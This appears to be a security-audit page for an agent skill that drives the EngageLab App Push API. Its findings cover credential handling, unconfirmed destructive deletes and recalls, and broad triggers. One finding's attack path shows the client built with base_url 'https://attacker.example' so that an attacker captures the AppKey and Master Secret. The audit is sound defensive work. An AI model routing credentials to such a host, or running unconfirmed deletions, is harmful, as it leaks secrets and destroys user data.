Back to skill

Security audit

EngageLab App Push

Security checks for vulnerabilities and agentic risk

Overview

This EngageLab push-notification skill is mostly purpose-aligned, but it handles powerful credentials and destructive remote actions without enough guardrails.

Install only if you are comfortable giving an agent access to EngageLab App Push operations. Use placeholders or environment variables instead of pasting Master Secrets into chat or shell history, restrict any helper code to official EngageLab HTTPS API hosts, and require explicit confirmation plus a prior lookup before broadcast sends, schedule changes, recalls, voice deletion, or user/device deletion.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/push_client.py:48
Finding

Basic authentication credentials can be transmitted to an arbitrary endpoint

Content
View full analysis
dict: url = f"{self._base_url}{path}" resp = requests.request( method, url, auth=self._auth, headers=self._headers, json=payload, params=params, ) ``` ### Technical Analysis The constructor accepts an unrestricted `base_url`, while `_request()` automatically attaches the AppKey and Master Secret through HTTP Basic authentication to every request. The code does not enforce HTTPS, validate the hostname, or restrict destinations to the four documented EngageLab API hosts. Supporting multiple EngageLab data centers does not require arbitrary destination support. A fixed mapping between data-center identifiers and approved HTTPS hosts would provide the declared functionality with less risk. Because Basic authentication transmits a reusable credential pair, an attacker-controlled endpoint can capture both credentials and API request data. Request payloads may also include notification contents, aliases, registration IDs, tags, schedules, or other operational information. ### Attack Path 1. An attacker influences application configuration, integration code, or user-provided parameters used to initialize the client. 2. The client is created with an attacker-controlled URL, such as: ```python client = EngageLabPush( app_key, master_secret, base_url="https://attacker.example" ) ``` 3. The application invokes any ...[truncated 1045 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:66
Finding

Documentation encourages disclosure of the Master Secret through chat and command-line arguments

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
references/callback-api.md:29
Finding

Callback authentication is optional and lacks replay protection guidance

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/push_client.py:61
Finding

HTTP requests can block indefinitely because no timeout is configured

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (16)

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding

The code is broadly aligned with the declared EngageLab App Push purpose and does not show unrelated or suspicious behavior. However, the description materially overstates several capabilities that are not present in this code chunk: there are no methods for configuring callbacks, uploading OPPO images, or push-to-speech. The code also does not expose any explicit in-app-message-specific endpoint, though generic payload passthrough may partially cover some message use cases. Because the declared description claims these concrete capabilities but the supplied code does not implement them, this is a description/behavior mismatch.

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill advertises irreversible user-deletion capability without built-in warning or confirmation guidance. In a tool-using agent, that omission makes destructive actions easier to trigger accidentally or through ambiguous user prompts, potentially deleting device records and associated metadata without recovery.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

The skill exposes a destructive DELETE operation for scheduled tasks without any documented validation or confirmation guardrails. If an agent fills the schedule_id from ambiguous context or prompt injection, it could cancel active campaigns or business-critical notifications.

Content

Scanner excerpt · SKILL.md (reported line 177)May include surrounding context.

md
- Create: `POST /v4/schedules` — Body includes `name`, `enabled`, `trigger` (single / periodical / intelligent), `push` (same as Create Push body).
- Get: `GET /v4/schedules/{schedule_id}`.
- Update: `PUT /v4/schedules/{schedule_id}`.
- Delete: `DELETE /v4/schedules/{schedule_id}`.

Trigger types: **single** (one-time, `time`, `zone_type`), **periodical** (start, end, time, time_unit, point, zone_type), **intelligent** (backup_time: `"now"` or `"yyyy-MM-dd HH:mm:ss"`). See `doc/apppush/REST API/Scheduled Tasks API.md`.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
88% confidence
Finding

Message recall is a state-changing operation that can withdraw previously sent notifications, yet the skill provides no safety pattern for validating msg_id ownership, recency, or user intent. In an automated setting, this can be abused to disrupt communications or revoke messages unintentionally.

Content

Scanner excerpt · SKILL.md (reported line 191)May include surrounding context.

md
## Message Recall

`DELETE /v4/push/withdraw/{msg_id}` — Recall within one day; no duplicate recall.

## Delete User

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Deleting a device record by registration_id is irreversible and removes associated tags, aliases, and device metadata, but the skill presents it as a routine operation without strong safeguards. This creates a direct path for accidental or malicious destruction of user records if parameters are misbound or socially engineered.

Content

Scanner excerpt · SKILL.md (reported line 195)May include surrounding context.

md
## Delete User

`DELETE /v4/devices/{registration_id}` — Asynchronously deletes user and all related data (tags, alias, device info, timezone). Cannot be restored. Batch deletion not supported.

## Statistics

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

The documented voice-delete endpoint removes TTS assets by language parameter without any mention of preview or confirmation. While less severe than user deletion, it can still break downstream push-to-speech behavior or remove shared assets needed by future campaigns.

Content

Scanner excerpt · SKILL.md (reported line 219)May include surrounding context.

md
- Create/update: `POST /v4/voices` — `Content-Type: multipart/form-data`; fields: `language` (en, zh-Hans, zh-Hant), `file` (zip of mp3 files). Returns `file_url`.
- List: `GET /v4/voices`.
- Delete: `DELETE /v4/voices?language=en`.

Use `options.voice_value` in push body to reference voice for TTS. See `doc/apppush/REST API/Push-to-Speech API.md`.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · scripts/push_client.py (reported line 156)May include surrounding context.

python
return self._request("POST", f"/v4/devices/{registration_id}", payload)

    def delete_device(self, registration_id: str) -> dict:
        """Delete user and all related data (DELETE /v4/devices/{registration_id}). Async."""
        return self._request("DELETE", f"/v4/devices/{registration_id}")

    # ── Tag count ─────────────────────────────────────────────────────

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · scripts/push_client.py (reported line 171)May include surrounding context.

python
# ── Message recall ────────────────────────────────────────────────

    def recall(self, msg_id: str) -> dict:
        """Recall a message (DELETE /v4/push/withdraw/{msg_id}). Only within one day."""
        return self._request("DELETE", f"/v4/push/withdraw/{msg_id}")

    # ── Test push (validate) ──────────────────────────────────────────

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · scripts/push_client.py (reported line 245)May include surrounding context.

python
return self._request("PUT", f"/v4/schedules/{schedule_id}", payload)

    def schedule_delete(self, schedule_id: str) -> dict:
        """Delete scheduled task (DELETE /v4/schedules/{schedule_id})."""
        return self._request("DELETE", f"/v4/schedules/{schedule_id}")

    # ── Statistics ────────────────────────────────────────────────────

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill documents and encourages outbound network operations to EngageLab APIs, but it does not declare any explicit tool scope or permissions boundary. In agent environments, missing scope declarations can let a skill invoke network-capable helpers without transparent review, increasing the chance of unintended data transmission or unauthorized API use.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The trigger phrases are broad enough to activate on many generic 'push notification' or messaging-related requests, which can cause the skill to be selected outside its intended context. In an agentic system, over-broad activation increases the risk of sending users into a networked, side-effect-capable skill when they only wanted general advice or a different provider.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

The skill includes message recall and scheduled-task deletion/update operations without cautionary UX guidance. These actions can disrupt planned campaigns or retract live messaging, so omission of confirmation and validation steps increases the risk of accidental operational harm.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 69)May include surrounding context.

Example (curl):

bash
curl -X POST https://pushapi-sgp.engagelab.com/v4/push \
  -H "Content-Type: application/json" \
  -u "YOUR_APP_KEY:YOUR_MASTER_SECRET" \
  -d '{ "from": "push", "to": "all", "body": { "platform": "all", "notification": { "alert": "Hello!" } } }'

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The document states that message status callbacks are sent to the business server for analytics and event handling, which implies network transmission of potentially sensitive delivery or click-event data. The page explains how to receive and validate callbacks but does not include any user-facing warning about privacy, data handling, or exposure implications of enabling this integration.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · references/http-status-code.md (reported line 11)May include surrounding context.

md
|------|-------------|-------------|
| 200 | OK | Success. |
| 400 | Bad request | The request is invalid. The response body will explain the reason. |
| 401 | Not verified | No verification information or verification failed. |
| 403 | Rejected | The request was understood but not accepted. The response will explain. |
| 404 | Not found | The resource does not exist, or the requested format is not supported. |
| 405 | Method not allowed | The interface does not support the request method. |

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

This code sends AppKey and Master Secret via authenticated HTTP requests to an external push API, which is a network operation involving sensitive credentials. While the module docstring describes Basic Authentication generally, the request path itself has no user-facing warning, confirmation, or logging when transmitting credentials or push payload data.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.